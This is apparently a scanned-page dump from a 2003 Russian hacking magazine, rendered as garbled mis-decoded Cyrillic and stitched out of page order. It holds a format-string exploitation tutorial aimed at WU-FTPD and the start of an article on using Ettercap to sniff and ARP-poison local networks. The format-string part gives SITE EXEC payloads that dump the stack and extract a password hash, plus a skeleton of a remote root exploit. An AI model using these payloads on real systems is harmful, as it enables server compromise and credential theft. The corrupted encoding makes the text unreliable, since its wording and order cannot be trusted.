ïî buffer over<strong>fl</strong>ow ìîæíî ïðåäñòàâèòü, ÷åãî äîáèâàþòñÿ<br />
ëþäè, èìåÿ äîñòóï ê ñòåêó). Îäíàêî íàñ áîëüøå<br />
èíòåðåñóåò êîíêðåòíûé ñèìâîë ôîðìàòèðîâàíèÿ.<br />
Ýòî %n. Êàê íè ñòðàííî, ïðè îïèñàíèè ñèìâîëîâ<br />
ôîðìàòèðîâàíèÿ îí ïî÷òè íèêîãäà íå óïîìèíàåòñÿ.<br />
À âîò ÷òî ãîâîðèòñÿ î íåì â ìàíàõ:<br />
"×èñëî ñèìâîëîâ, âûâåäåííûõ äî ýòîãî ìîìåíòà,<br />
ñîõðàíÿåòñÿ ïî àäðåñó öåëîãî ÷èñëà, óêàçàííîìó<br />
àðãóìåíòîì-óêàçàòåëåì òèïà int * (èëè variant).<br />
Ïðåîáðàçîâàíèå àðãóìåíòîâ íå ïðîèñõîäèò".<br />
×òî æå ýòî çíà÷èò? À òî, ÷òî äàííûé àðãóìåíò<br />
ïîçâîëÿåò ïðîèçâîäèòü çàïèñü â ïåðåìåííóþ-óêàçàòåëü,<br />
äàæå åñëè îíà èñïîëüçóåòñÿ â ôóíêöèè<br />
äëÿ âûâîäà íà ýêðàí! Ò.å. ìîæíî çàïèñûâàòü äàííûå<br />
ïî àäðåñó, íà êîòîðûé óêàçûâàåò âòîðîé àðãóìåíò.<br />
Êðîìå ýòîãî, îí ïîäñ÷èòûâàåò åùå êàæäûé<br />
ñèìâîë, ïîÿâëÿþùèéñÿ â ñàìîé ñòðîêå ôîðìàòèðîâàíèÿ.<br />
Âîçüìåì ïðîñòåéøèé ïðèìåð:<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
ÏÎÄ WU-FTPD<br />
Ñåãîäíÿ ìû ïðîäîëæèì çíàêîìñòâî ñ ðàçëè÷íûìè óÿçâèìîñòÿìè è ðàññìîòðèì îøèáêó òèïà format string. Format<br />
string ïîÿâèëñÿ íà ñâåò â èþíå 1999 ãîäà, à óæå â èþíå 2000 êîëè÷åñòâî ýêñïëîèòîâ, îñíîâàííûõ íà ýòîé óÿçâèìîñòè,<br />
äîñòèãëî êðèòè÷åñêîé îòìåòêè. Îíè ïðîÿâëÿëèñü êàê â ìàëåíüêèõ óòèëèòàõ, òàê è â îãðîìíûõ ñåðâåðíûõ ïðèëîæåíèÿõ.<br />
 òå÷åíèå ãîäà ïðîèçâîäèòåëè ñîôòà ïûòàëèñü çàêðûâàòü íà ýòî ãëàçà, íî â êîíöå êîíöîâ îïîìíèëèñü. Êàê<br />
òû äîãàäûâàåøüñÿ, áîëüøèíñòâî îøèáîê â ïðîãðàììíîì îáåñïå÷åíèè îáúÿñíÿåòñÿ êðèâûì ïðîãðàììèðîâàíèåì<br />
èëè ëåíüþ. Format string íå èñêëþ÷åíèå, êàê ñòàíåò ïîíÿòíî ïðè áîëåå áëèçêîì çíàêîìñòâå. Èòàê, ïîåõàëè.<br />
#include <br />
void main()<br />
{<br />
int a; // öåëàÿ ïåðåìåííàÿ 'a'<br />
char *buff = "1111111111"; // ñèìâîëüíûé áóôåð<br />
'buff' ñ äåñÿòüþ åäèíèöàìè<br />
printf("%s%n\n", buff, &a); // âûâîäèì ñòðîêó<br />
"1111111111",<br />
// êîòîðàÿ ñîäåðæèò 10<br />
ñèìâîëîâ<br />
printf("a = %d\n", a); // âûâîäèì çàïèñàííîå<br />
çíà÷åíèå (÷èñëî ñèìâîëîâ)<br />
// çàïèñàííîå â öåëóþ ïåðåìåííóþ 'a'<br />
}<br />
Îòêîìïèëèì è çàïóñòèì:<br />
# gcc printf_test.c -o printf_test<br />
# ./printf_test<br />
1111111111<br />
a = 10<br />
1 2 3 4<br />
54 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Äà, %n äåéñòâèòåëüíî ïîäñ÷èòûâàåò ñèìâîëû. Íî<br />
åñòü åùå îäèí íþàíñ - ïîäñ÷åò íå âñåãäà áûâàåò<br />
òàêèì òî÷íûì :). Ñðàçó ñêàæó, ÷òî %n ñ÷èòàåò êîëè÷åñòâî<br />
ñèìâîëîâ, êîòîðûå áóäóò âûâåäåíû<br />
ïðåäïîëîæèòåëüíî. Ò.å. åñëè òû, ñêàæåì, ÷åðåç<br />
snprintf îãðàíè÷èøü áóôåð 100 ñèìâîëàìè, à ïîòîì<br />
ïîâòîðèøü ñòðîêè èç ïðåäûäóùåãî ïðèìåðà,<br />
òî ïåðåìåííàÿ 'a' áóäåò ïîêàçûâàòü âìåñòî 10 -<br />
100. Âîò áîëåå äåòàëüíîå îáúÿñíåíèå: ñíà÷àëà %n<br />
ïîäñ÷èòûâàåò êîëè÷åñòâî ñèìâîëîâ, ïîòîì çàïèñûâàåò<br />
ïî àäðåñó, óêàçàííîìó âî âòîðîì àðãóìåíòå,<br />
è òîëüêî ïîòîì ñòðîêà óìåíüøàåòñÿ ïðè êîïèðîâàíèè<br />
â áóôåð. Ò.å. ñíà÷àëà ñòðîêà ðàñøèðÿåòñÿ,<br />
ïîòîì ñ÷èòûâàåòñÿ, à çàòåì óìåíüøàåòñÿ ;).<br />
Òåïåðü âêðàòöå î òîì, ÷òî ìû èìååì îòíîñèòåëüíî<br />
%n 'ôîðìàòåðà':<br />
1. âîçìîæíîñòü çàïèñè äàííûõ ïî àäðåñó, íà êîòîðûé<br />
óêàçûâàåò âòîðîé àðãóìåíò.<br />
2. a) ïîäñ÷åò ñèìâîëîâ â ñòðîêå ôîðìàòèðîâàíèÿ.<br />
b) ïîäñ÷åò ñèìâîëîâ â ñòðîêå ñ ó÷åòîì ïðåäïîëîæèòåëüíîãî<br />
ðàçìåðà ñòðîêè ôîðìàòèðîâàíèÿ.<br />
Âîò, ñîáñòâåííî, òå íþàíñû, êîòîðûå íåîáõîäèìî<br />
çíàòü îòíîñèòåëüíî %n - ñèìâîëà ôîðìàòèðîâàíèÿ.<br />
Îñòàëîñü ïîíÿòü âçàèìîäåéñòâèå ñòåêà è<br />
printf, ïðåæäå ÷åì ðàçîáðàòü íàïèñàíèå ýêñïëîèòà.<br />
Îáúÿñíþ, äëÿ ÷åãî ÿ áóäó ðàññìàòðèâàòü âçàèìîäåéñòâèå<br />
ôóíêöèè è ñòåêà. Íàì íóæíà âîçìîæíîñòü<br />
äâèãàòüñÿ ïî ñòåêó â ïîèñêàõ èíôîðìàöèè, òàêîé êàê<br />
àäðåñà âîçâðàòîâ ôóíêöèé (íàäåþñü, èç ïðåäûäóùèõ<br />
ñòàòåé òû ïîìíèøü, ÷òî òàêîå àäðåñ âîçâðàòà).<br />
È âîò ÷òî ïîëó÷àåòñÿ: òû ìîæåøü çàïèñûâàòü äàííûå<br />
êàê âòîðîé àðãóìåíò ïî àäðåñó (ò.å. â ñòåê),<br />
ïîëçàòü ïî ñàìîìó ñòåêó è íàõîäèòü àäðåñà âîçâðàòîâ,<br />
ïåðåçàïèñûâàåìûå àäðåñàìè íàøèõ øåëëêîäîâ<br />
(îïÿòü æå, ÷èòàé ïðåäûäóùèå ñòàòüè ïðî ïåðåïîëíåíèÿ<br />
áóôåðà).  èòîãå ïîëó÷àåøü: øåëëû, ðóòû è<br />
÷ðóòû. À òåïåðü ðàññìîòðèì ïðèìåð:<br />
#include <br />
int main(int argc, char **argv) // áåðåì äàííûå ñ<br />
êîìàíäíîé ñòðîêè<br />
{<br />
int i = 1; // öåëàÿ ïåðåìåííàÿ i = 1<br />
Ñòåê ïðè âûïîëíåíèè snprintf() ôóíêöèè<br />
char buffer[64]; // ñèìâîëüíûé áóôåð â<br />
64 áàéòà<br />
char tmp[] = "\x01\x02\x03"; // ñèìâîëüíûé áóôåð<br />
ñ 3 áàéòàìè<br />
snprintf(buffer, sizeof buffer, argv[1]); // îãðàíè÷èâàåì<br />
áóôåð 64 áàéòàìè<br />
buffer[sizeof (buffer) - 1] = 0;<br />
//ïå÷àòü ðàçìåðà áóôåðà<br />
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));<br />
//ïå÷àòü ïåðåìåííîé i.<br />
printf ("i = %d (%p)\n", i, &i);<br />
}<br />
Ïîêà ÷òî íå ïûòàåìñÿ ïåðåïîëíèòü áóôåð èëè ïåðåçàïèñàòü<br />
êàêèå-òî äàííûå â ñòåêå, à ïðîñòî êîïèðóåì<br />
àðãóìåíò â ñèìâîëüíûé ìàññèâ buffer. Íà<br />
îñíîâå ýòîé ïðîãðàììêè ëåãêî ïîíÿòü, ÷òî ïðîèñõîäèò<br />
â ñòåêå ïðè èñïîëüçîâàíèè snprintf() ôóíêöèè.<br />
Îòêîìïèëèì åãî è çàïóñòèì:<br />
# gcc test_stack.c -o test_stack<br />
# ./test_stack haha<br />
buffer : [haha] (4)<br />
i = 1 (bffff674)<br />
Ðàáîòàåò, êàê è çàïëàíèðîâàíî. Íà ðèñóíêå ïîêàçàíî,<br />
÷òî æå ïðîèñõîäèò ñî ñòåêîì ïðè âûçîâå<br />
sprintf(). (ðèñóíîê 1)<br />
ß íå áóäó ìó÷èòü òåáÿ îáúÿñíåíèÿìè, à ñðàçó ñêàæó<br />
ðåçóëüòàò. Èñïîëüçóÿ ñèìâîëû ôîðìàòèðîâàíèÿ<br />
êàê àðãóìåíòû â êîìàíäíîé ñòðîêå, òû ìîæåøü<br />
÷èòàòü äàííûå èç ñòåêà :). Çà áîëåå äåòàëüíîé<br />
èíôîðìàöèåé ëó÷øå âñåãî îáðàòèòüñÿ ê ñîîòâåòñòâóþùèì<br />
ññûëêàì âíèçó (â áëîê-âðåçêå). Ò.å.<br />
òû ìîæåøü èñêàòü âàæíóþ èíôîðìàöèþ, òàêóþ êàê<br />
àäðåñ âîçâðàòà ôóíêöèè (íà ñàìîì äåëå ìîæíî<br />
èñêàòü è äðóãîå, íî îá ýòîì â äðóãîé ðàç).<br />
WU-FTPD<br />
Ýòîò ftp äåìîí, íàïèñàííûé â âàøèíãòîíñêîì<br />
óíèâåðñèòåòå (Washington University's<br />
ftp server = wu-ftpd), èìååò ðàñøèðåííûå<br />
Ðèñóíîê 1<br />
6 7 8<br />
Þíèêñîèä X-Ñòèëü Êîäèíã
kas1e<br />
Âçëîì<br />
ÝÊÑÏËÎÈÒ ÏÎÄ WU-FTPD<br />
âîçìîæíîñòè ïî ñðàâíåíèþ ñ îáû÷íûì ftpd. Âèäèìî<br />
â ðåçóëüòàòå òàêèõ ðàñøèðåíèé îí è ïðèîáðåë<br />
ñëàâó îäíîãî èç ñàìûõ ãëþ÷íûõ äåìîíîâ.<br />
Óÿçâèìîñòü, êîòîðàÿ áóäåò îïèñàíà äàëåå, ñâÿçàíà<br />
ñ íåêà÷åñòâåííîé îáðàáîòêîé êîìàíäû SITE EXEC.<br />
Ïðîáëåìíûé ó÷àñòîê êîäà íàõîäèòñÿ â ftpd.c ôàéëå,<br />
â ôóíêöèè vreply(). Âîò êàê îí âûãëÿäèò:<br />
void vreply([...], *fmt, [...]);<br />
{<br />
char buf[BUFSIG];<br />
[...]<br />
snprintf(buf, sizeof(buf), fmt);<br />
[...]<br />
Êàê âèäèøü, â ôóíêöèþ snprintf ïåðåäàåòñÿ óêàçàòåëü<br />
(fmt) íà ñòðîêó, ïåðåäàþùóþñÿ ïîëüçîâàòåëåì<br />
(ñòðîêó ïåðåñûëàåò ïîëüçîâàòåëü ÷åðåç êîìàíäó<br />
site exec, ýòî ðàñïîëîæåíî â site_exec()<br />
ôóíêöèè ôàéëà ftpcmd.c). È ÷òî çäåñü? À çäåñü<br />
ïîëüçîâàòåëü ìîæåò ïîñëàòü âìåñòå ñ site exec<br />
íóæíûå ñèìâîëû ôîðìàòèðîâàíèÿ, êîòîðûå ñîîòâåòñòâóþùèì<br />
îáðàçîì èíòåðïðåòèðóþòñÿ, è ðåçóëüòàòîì<br />
ýòèõ äåéñòâèé áóäåò ïîëó÷åíèå ðóòøåëëà.<br />
Ê ïðèìåðó, åñëè çëîäåé ñäåëàåò òàêîå: SITE<br />
EXEC %x %x %x %x, òî ïîëó÷èò èç ñòåêà wu-ftpd -<br />
"31 bffff53c 1ee 6d". Âñå äîâîëüíî ïðîñòî. Ïåðåäàåì<br />
îïðåäåëåííûå ñèìâîëû ôîðìàòèðîâàíèÿ è<br />
ìîæåì äåëàòü ÷òî õîòèì ;).<br />
Íî çäåñü åñòü îäíà òðàáëà. Èç-çà òîãî, ÷òî â ñòåê<br />
çàïèñûâàåòñÿ òîëüêî óêàçàòåëü íà ïåðåäàâàåìóþ<br />
ñòðîêó, êîòîðàÿ â ñâîþ î÷åðåäü ðàñïîëàãàåòñÿ â<br />
ñåãìåíòå äàííûõ, òû íå ìîæåøü íàïðÿìóþ çàïèñàòü<br />
â ñòåê óêàçàòåëü íà ýòó ñòðîêó, òàê íàì íåîáõîäèìóþ.<br />
Ïðîáëåìà ðåøàåòñÿ ïðîñòî: âñå òå æå<br />
ñèìâîëû ôîðìàòèðîâàíèÿ. Ïðåæäå ÷åì ðàññìîòðåòü<br />
ñòðóêòóðó íàïèñàíèÿ ïîëíîöåííîãî ýêñïëîèòà,<br />
îáðàòèìñÿ ê áîëåå ïðîñòîìó ïðèìåðó ïîëó÷åíèÿ<br />
õýøà ïàðîëÿ:<br />
SITE EXEC AA@e[][]%277$s îòâåò<br />
200 (end of 'aa@e[][]%277$s')<br />
SITE EXEC AApj[][]%277$s îòâåò<br />
Âîò ÷òî ïðîèñõîäèò. Ìû çàëîãèíèëèñü ïîä ïîëüçîâàòåëåì<br />
'user', ïåðåäàëè ÷åðåç site exec îïðåäåëåííóþ<br />
ñòðîêó ôîðìàòà è ïîëó÷èëè õýø ñâîåãî<br />
ïàðîëÿ. Åäèíñòâåííîå, ÷òî çäåñü ìîæåò áûòü íåÿñíî,<br />
ýòî ñèíòàêñèñ ñòðîêè ôîðìàòèðîâàíèÿ. Äàâàé<br />
ðàññìîòðèì åãî:<br />
Ïåðâûå äâà ñèìâîëà "AA" íåîáõîäèìû, ïîñêîëüêó<br />
ñìåùåíèå íå êðàòíî 4 (à îíî äîëæíî áûòü êðàòíî).<br />
Äàëåå ó íàñ â ïåðâîì ñëó÷àå @å [][], à âî<br />
âòîðîì pj[][] - ýòî ñîîòâåòñòâóþùèå ñèìâîëüíûå<br />
ïðåäñòàâëåíèÿ äëÿ óêàçàòåëåé 0x08086a70 è<br />
0x08086540 íà ïîëÿ pw_name è pw_passwd â<br />
ñòðóêòóðå passwd wu-ftpd (struct passwd *pw). Ò.å.<br />
ýòî çàðàíåå èçâåñòíûå çíà÷åíèÿ. È çàêàí÷èâàåòñÿ<br />
âñå %277$s. Ýòî íåïîñðåäñòâåííî ñàì ôîðìàòíûé<br />
ìîäèôèêàòîð.<br />
WU-FTPD REMOTE ROOT EXPLOIT<br />
Âîò ÷òî íåîáõîäèìî äëÿ íàïèñàíèÿ ïîëíîöåííîãî<br />
ýêñïëîèòà:<br />
1. Øåëëêîä (î òîì, êàê ïèøåòñÿ øåëëêîä, ÷èòàé â<br />
ïðåäûäóùèõ íîìåðàõ). Ïðîùå ðàáîòàòü ñðàçó ñ<br />
øåëëêîäîì, ïåðåâåäåííûì â 'format string' âèä.<br />
2. Àäðåñ íà ýòîò øåëëêîä, êîòîðûé òàêæå ïåðåâåäåí<br />
â 'format string'.<br />
3. Íåïîñðåäñòâåííî ìîäèôèêàòîðû. Èì ìû ñêàæåì:<br />
"Âîò ýòîò øåëëêîä çàïèñàòü ïî òàêîìó-òî àäðåñó".<br />
Êîíå÷íî, â ïîëíîöåííûõ ýêñïëîèòàõ âñå ýòî äåëàåòñÿ<br />
àâòîìàòè÷åñêè. Äîáàâëÿþòñÿ âñÿêèå êëþ÷è,<br />
âûâîä ãðèòñîâ/ëèòñîâ è òîìó ïîäîáíîå. Íàïðèìåð,<br />
â ñëó÷àå ñ remote root, ññûëêà íà êîòîðûé<br />
åñòü â áëîê-âðåçêå, ýêñïëîèò äåëàåò ñëåäóþùåå:<br />
1. Îáðàáîòêà ââåäåííîãî õîñòà.<br />
2. Îáðàáîòêà user/pass (àâòîìàòè÷åñêè ëîãèíèòñÿ<br />
íà ýòîò õîñò).<br />
3. Îáðàáîòêà îïåðàöèîííîé ñèñòåìû (êàêîé øåëëêîä<br />
è ïîä êàêóþ ñèñòåìó èñïîëüçîâàòü). Åñòåñòâåííî,<br />
â ýêñïëîèòå ïîä êàæäóþ ñèñòåìó äîëæåí áûòü è<br />
ñâîé øåëëêîä.  íàøåì ñëó÷àå ýòî 3 øåëëêîäà:<br />
char bsdcode[] = /* chroot() code rewritten for<br />
FreeBSD by venglin */<br />
char bsd_code_d[]= /* you should call it directly (no<br />
jump/call)*/<br />
char linuxcode[]= /* chroot() code */<br />
4. Îáðàáîòêà ñìåùåíèÿ íà àäðåñ âîçâðàòà.<br />
5. Îáðàáîòêà âûðàâíèâàíèÿ.<br />
6. Îáðàáîòêà âõîäà â äèðåêòîðèþ.<br />
7. Îáðàáîòêà íàøåé 'ìàãè÷åñêîé' ñòðîêè, êîòîðóþ<br />
ìû áóäåì ââîäèòü âìåñòå ñ SITE EXEC.<br />
8. Ñàìà ïîñûëêà ñòðîêè è èíòåðïðåòàöèÿ îòâåòà.<br />
ÐÀÇÁÎÐ ÑÎÐÑÎÂ<br />
Âåñü êîä ýêñïëîèòà çäåñü ðàçîáðàòü íåâîçìîæíî,<br />
ÿ ïîêàæó òîëüêî ñòðóêòóðó, ÷òîáû òû ïîíÿë, êàê<br />
îíè ïèøóòñÿ. 'xxxx' - ñèìâîëû îáîçíà÷åíèÿ âîçìîæíûõ<br />
âàðèàíòîâ.<br />
1. Ïîäêëþ÷àåøü ðàçëè÷íûå çàãîëîâî÷íûå ôàéëû,<br />
äàåøü îïðåäåëåíèÿ, îïèñûâàåøü ïåðåìåííûå, ñîçäàåøü<br />
ñòðóêòóðû:<br />
#include <br />
#define xxxxx "xxxx"<br />
char xxx, int xxx, <strong>fl</strong>oat xxx<br />
Ññûëêè:<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
http://packetstormsecurity.org/0006-exploits/wuftpd2600.c -<br />
ñàì ýêñïëîèò.<br />
http://www.hert.org/papers/format.html -<br />
äåòàëüíîå îïèñàíèå format string óÿçâèìîñòè.<br />
struct xxxx[]={xxxxx};<br />
2. Ïèøåøü íåîáõîäèìîå êîëè÷åñòâî øåëëêîäîâ.<br />
Äëÿ íàøåé çàäà÷è õâàòèò è îäíîãî:<br />
char shellcode[]="\xXX\xXX\xXX";<br />
3. Ñîçäàåøü ôóíêöèè, êîòîðûìè òû âîñïîëüçóåøüñÿ<br />
â ãëàâíîì ìîäóëå (ôóíêöèÿ main()). Ýòî<br />
ôóíêöèè îáðàáîòêè àðãóìåíòîâ ýêñïëîèòà è ëþáàÿ<br />
äðóãàÿ àâòîìàòèçàöèÿ:<br />
void xxxx() {xxxxx};<br />
void xxxx(xxxxx) {xxxxx};<br />
4. Ñàìûé ãëàâíûé ìîäóëü - main(). Â íåì èñïîëüçóåì<br />
âñå ñîçäàííûå òîáîé ôóíêöèè. Òàêæå çäåñü<br />
ïèøåòñÿ îñíîâíîå òåëî ýêñïëîèòà.<br />
a) ×åêàåøü àðãóìåíòû ïðè çàïóñêå:<br />
case 'àðãóìåíò 1': testmode=1; break;<br />
case 'àðãóìåíò 2': offset=atoi(optarg);break;<br />
case 'àðãóìåíò 3': pass_addr=strtoul(optarg,<br />
&optarg,16); break;<br />
è ò.ä.<br />
b) Ñîåäèíÿåøüñÿ ñ öåëüþ (âûçîâ ãîòîâîé ôóíêöèè).<br />
c) Ëîãèíèøüñÿ íà ftp è çàõîäèøü â ñâîþ äèðåêòîðèþ<br />
(òàêæå ãîòîâàÿ ôóíêöèÿ).<br />
d) Ïîñûëàåøü ñâîþ ñóïåðìîùíóþ ñòðî÷êó: SITE<br />
EXEC + àäðåñ, ïî êîòîðîìó ðàñïîëîæåí øåëëêîä,<br />
è ñàì øåëëêîä. Âñå ýòî â 'format string' âèäå.<br />
e) Ïîñëå ïîñûëêè ñâîåé ñòðîêè íåîáõîäèìî ïðîïàðñèòü<br />
ïîëó÷åííûé ðåçóëüòàò.  äàííîì ýêñïëîèòå<br />
òû äåëàåøü 'uname' è â ñëó÷àå óñïåøíîãî âûïîëíåíèÿ<br />
- 'id'. Âîò êàê ýòî âûãëÿäèò:<br />
char buff[1024], *cmd=getit.islinux?"/bin/uname -a;<br />
/usr/bin/id;<br />
exit\n" :<br />
"/usr/bin/uname -a;<br />
/usr/bin/id;<br />
exit\n";<br />
È ïîñëå âñåãî ýòîãî ïîñûëàåøü:<br />
send(sock, cmd, strlen(cmd), 0);<br />
f) Åñëè â ðåçóëüòàòå âñåõ ýòèõ äåéñòâèé òû ïîëó-<br />
÷èë øåëë – àëëèëóéÿ! Åñëè íåò – íå ðàññòðàèâàéñÿ,<br />
ïåðå÷èòàé ìàòåðèàë è ïîïðîáóé åùå ðàç. Ñàì<br />
óðë ýêñïëîèòà äàí â áëîê-âðåçêå.<br />
ÇÀÊËÞ×ÅÍÈÅ<br />
Íàäåþñü, ýòà ñòàòüÿ ïîìîæåò íà÷èíàþùèì. Êîíå÷íî,<br />
â íåé åñòü íåñêîëüêî íåïðîñòûõ ìîìåíòîâ,<br />
íî äëÿ ýòîãî è ñóùåñòâóþò äîêè. Òàê ÷òî äåðçàé,<br />
ïðîáóé è ÷èòàé äîêè, îíè – ðóëåç.<br />
1 2 3 4<br />
56 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Âçëîì<br />
ETTERCAP: ÇËÎÁÎÄÐÎÌ Â ÒÂÎÅÉ ËÎÊÀËÊÅ<br />
CoDeR (coder@zzae.biz)icq: 416116<br />
ÇËÎÁÎÄÐÎÌ<br />
ETTERCAP:<br />
 ÒÂÎÅÉ ËÎÊÀËÊÅ<br />
ÑÍÈÔÀÅÌ ËÎÊÀËÊÓ ETTERCAP'ÎÌ<br />
Òû êîãäà-íèáóäü ìå÷òàë î ïîëíîì êîíòðîëå íàä ëîêàëüíîé ñåòüþ? Ïðåäñòàâëÿë, ÷òî ìîæåøü äåëàòü â íåé âñå ÷òî óãîäíî?<br />
Äóìàåøü, ýòî íåðåàëüíî, äëÿ ýòîãî íàäî áûòü àäìèíîì ñåòè? ÍÅÒ! À ïî÷åìó? Íà ýòîò âîïðîñ ÿ è ïîñòàðàþñü îòâåòèòü.<br />
Íàâåðíÿêà òû óæå ñëûøàë î ìîùíåéøåì<br />
õàêåðñêîì ñðåäñòâå ïîä íàçâàíèåì ettercap.<br />
Åãî ýâîëþöèÿ ãîðàçäî áûñòðåå ýâîëþöèè<br />
æèâûõ ñóùåñòâ. Ñ êàæäûì êâàðòàëîì<br />
ïîÿâëÿþòñÿ íîâûå è íîâûå âåðñèè<br />
ýòîé çàìå÷àòåëüíîé ïðîãðàììû. Íà äàííûé<br />
ìîìåíò ïîñëåäíÿÿ âåðñèÿ - 0.6.9. Â<br />
íåé èñïðàâëåíû ðàçëè÷íûå áàãè, äîáàâëåíû<br />
íåêîòîðûå íîâûå âîçìîæíîñòè, íàïðèìåð,<br />
ïîääåðæêà PPTP. Íî äàæå íåçàâèñèìî<br />
îò íîìåðà âåðñèè, ettercap äîñòîèí<br />
íàçûâàòüñÿ îäíèì èç ëó÷øèõ êðÿêåðîâ<br />
ëîêàëüíûõ ñåòåé. Íåëüçÿ ñêàçàòü, ÷òî<br />
ettercap ðåàëèçóåò êàêèå-òî ðåâîëþöèîííûå<br />
òåõíîëîãèè, íî ó íåãî åñòü îäíî ïðèíöèïèàëüíîå<br />
îòëè÷èå, êîòîðîå äåëàåò åãî<br />
óíèêàëüíûì. Îí îáúåäèíÿåò êó÷ó ñðåäñòâ<br />
äëÿ "êîøåðíîãî" õàêà ëîêàëüíûõ ñåòåé â<br />
åäèíîå öåëîå. À îäèí êðóïíûé õàê ëó÷øå<br />
äâóõ ìåëêèõ. Ìîæíî ïðèâåñòè ïðèìåð: ñóùåñòâóåò<br />
ìíîæåñòâî óòèëèò äëÿ ïåðåõâàòà<br />
ñîîáùåíèé, èäóùèõ îò IRC-êëèåíòà ê IRCñåðâåðó<br />
è íàîáîðîò. Íî â ýòèõ ñðåäñòâàõ<br />
íå ðåàëèçîâàíî íèêàêèõ äðóãèõ ôóíêöèé,<br />
ò.å. îíè íå ñìîãóò, íàïðèìåð, ïåðåõâàòèòü<br />
url ñàéòà, íà êîòîðûé çàøåë ïîëüçîâàòåëü.<br />
À ïðåäñòàâü ñåáå òàêóþ ñèòóàöèþ:<br />
èäåò þçåð íà www.microsoft.com, íî âìåñòî<br />
íåîáõîäèìîé èíôîðìàöèè î ìåëêîìÿãêèõ<br />
â îêíå ó íåãî îòêðûâàåòñÿ ñàéò Âàñèñóàëèÿ<br />
Ïóïêèíà, ãäå ðàçìåùåíà âñÿêàÿ<br />
èíôîðìàöèÿ íåïðèëè÷íîãî ñîäåðæàíèÿ.<br />
×òî æ, etthercap ñïîñîáåí è íà ýòî, è íà<br />
ìíîãîå äðóãîå.<br />
ÊÎÌÏÈËßÖÈß<br />
Èòàê, ïðèñòóïèì ê ñàìîìó çàõâàòûâàþùåìó - ê<br />
êîìïèëÿöèè èñõîäíèêîâ :). Ettercap âûïóùåí ïîä<br />
ñëåäóþùèå ïëàòôîðìû: MacOS X, Windows<br />
9x/NT/2000/XP, FreeBSD, OpenBSD è, êîíå÷íî æå,<br />
Linux. Äëÿ ðàáîòû ettercap'ó íå íóæíû êàêèå-òî äîïîëíèòåëüíûå<br />
áèáëèîòåêè âðîäå libpcap èëè libnet<br />
(èñêëþ÷åíèå ñîñòàâëÿåò áèáëèîòåêà WinPCap, åñëè<br />
ýòî win-âåðñèÿ), íî äëÿ ïîëíîöåííîé ðàáîòû<br />
ðåêîìåíäóåòñÿ âêëþ÷èòü ëèáó ncurses (ÿ èñïîëüçîâàë<br />
øåñòîé ncurses) è openssl (ó ìåíÿ äåôîëòíàÿ<br />
äëÿ redhat 7.2).<br />
Ïðîöåññ êîìïèëÿöèè ïðîñò, îñîáåííî ïîä Linux:<br />
./configure --help<br />
âêëþ÷àåì íóæíûå ïàðàìåòðû<br />
./configure<br />
./make help<br />
Äàëåå ñëåäóåì ïðîñòûì èíñòðóêöèÿì, êîìïèëèðóÿ<br />
è óñòàíàâëèâàÿ ñàì ettercap è ïëàãèíû ê íåìó. Â<br />
èòîãå ìû ïîëó÷àåì ncurses-based-ïðîãðàììó ñ<br />
î÷åíü ïðîñòûì èíòåðôåéñîì è øèðîêèì äèàïàçîíîì<br />
âîçìîæíîñòåé.<br />
Òåïåðü äîêóìåíòàöèÿ. Åå íå ñëèøêîì ìíîãî, íî ÿ<br />
íàñòîÿòåëüíî ðåêîìåíäóþ åå ïðî÷åñòü è ëó÷øå öåëèêîì.<br />
Ïî-àíãëèéñêè òû óæå äîëæåí óìåòü ÷èòàòü :).<br />
ÂÎÇÌÎÆÍÎÑÒÈ<br />
Åñëè òû óâàæàþùèé ñåáÿ ñïåö, íå ñïåøè çàïóñêàòü<br />
ïðîãó ñðàçó ïîñëå åå êîìïèëÿöèè. Ñíà÷àëà<br />
ïðî÷òè man ettercap, âñå readme, ðàçáåðèñü ñ êîíôèãîì<br />
(etter.conf) è ôèëüòðàìè (etter.filter è<br />
etter.filter.ssh). Ó÷òè, ÷òî ïî äåôîëòó ïðîãðàììà<br />
âûïîëíÿåò ìíîæåñòâî ëèøíèõ äåéñòâèé (íàïðèìåð,<br />
dns-ðåçîëâèíã íàéäåííûõ àäðåñîâ). Êðîìå<br />
òîãî, àêòèâíûé arpoisoning è íåêîòîðûå äðóãèå<br />
äåéñòâèÿ ìîãóò ñêîìïðîìåòèðîâàòü õàêåðà, èñïîëüçóþùåãî<br />
ettercap.  ïðîãó âñòðîåíà î÷åíü èíòåðåñíàÿ<br />
ôóíêöèÿ - îáíàðóæåíèå ñåáå ïîäîáíûõ.<br />
Âåäü íåêîòîðûå äåéñòâèÿ òðåáóþò àêòèâíîé ðàáîòû<br />
ïðîãðàììû (ò.å. îòïðàâëåíèÿ íåêîòîðûõ êàäðîâ<br />
äàííûõ, êîòîðûå ìîãóò áûòü ïîéìàíû è ïðîäèàã-<br />
ncurses-îêîøêî ïðîãðàììû ettercap<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
íîñòèðîâàíû), îò ýòîãî íèêóäà íå äåòüñÿ, íî ëó÷øå<br />
âñå-òàêè îá ýòîì çíàòü.<br />
ÒÐÈ... ÄÂÀ... ÎÄÈÍ... ÏÓÑÊ!!!<br />
Çàïóñê ïðîãðàììû, åå íà÷àëüíàÿ ðàáîòà çàâèñèò<br />
îò âåðñèè (win-âàðèàíò ñïðîñèò ó òåáÿ íîìåð èíòåðôåéñà),<br />
îò êëþ÷åé, ñ êîòîðûìè ïðîãðàììà áûëà<br />
çàïóùåíà, à òàêæå îò íàñòðîåê â êîíôèãóðàöèîííûõ<br />
ôàéëàõ. ß áóäó ðàññêàçûâàòü î ìàêñèìàëüíî<br />
äåôîëòíîé (ñëåäîâàòåëüíî, î ïðåäåëüíî "íåïðèêðûòîé")<br />
ðàáîòå ïðîãðàììû. Çàïóñêàåì, âûáèðàåì<br />
èíòåðôåéñ, ïðîãðàììà ñêàíèðóåò ñàáíåò<br />
(ïîäñåòü) èíòåðôåéñà (ó ìåíÿ ýòî 192.168.0.246,<br />
ìàñêà ïîäñåòè 255.255.255.0) íà ïðåäìåò âûÿñíåíèÿ<br />
ñîîòâåòñòâèé IPMAC, dns è netbios èìåí<br />
ìàøèí. Îòêðûâàåòñÿ ncurses-îêîøêî ïðèìåðíî òàêîãî<br />
ñîäåðæàíèÿ: (ðèñóíîê 1)<br />
Ýòî ãëàâíîå (íà÷àëüíîå) îêíî ettercap'à, îòêóäà òû<br />
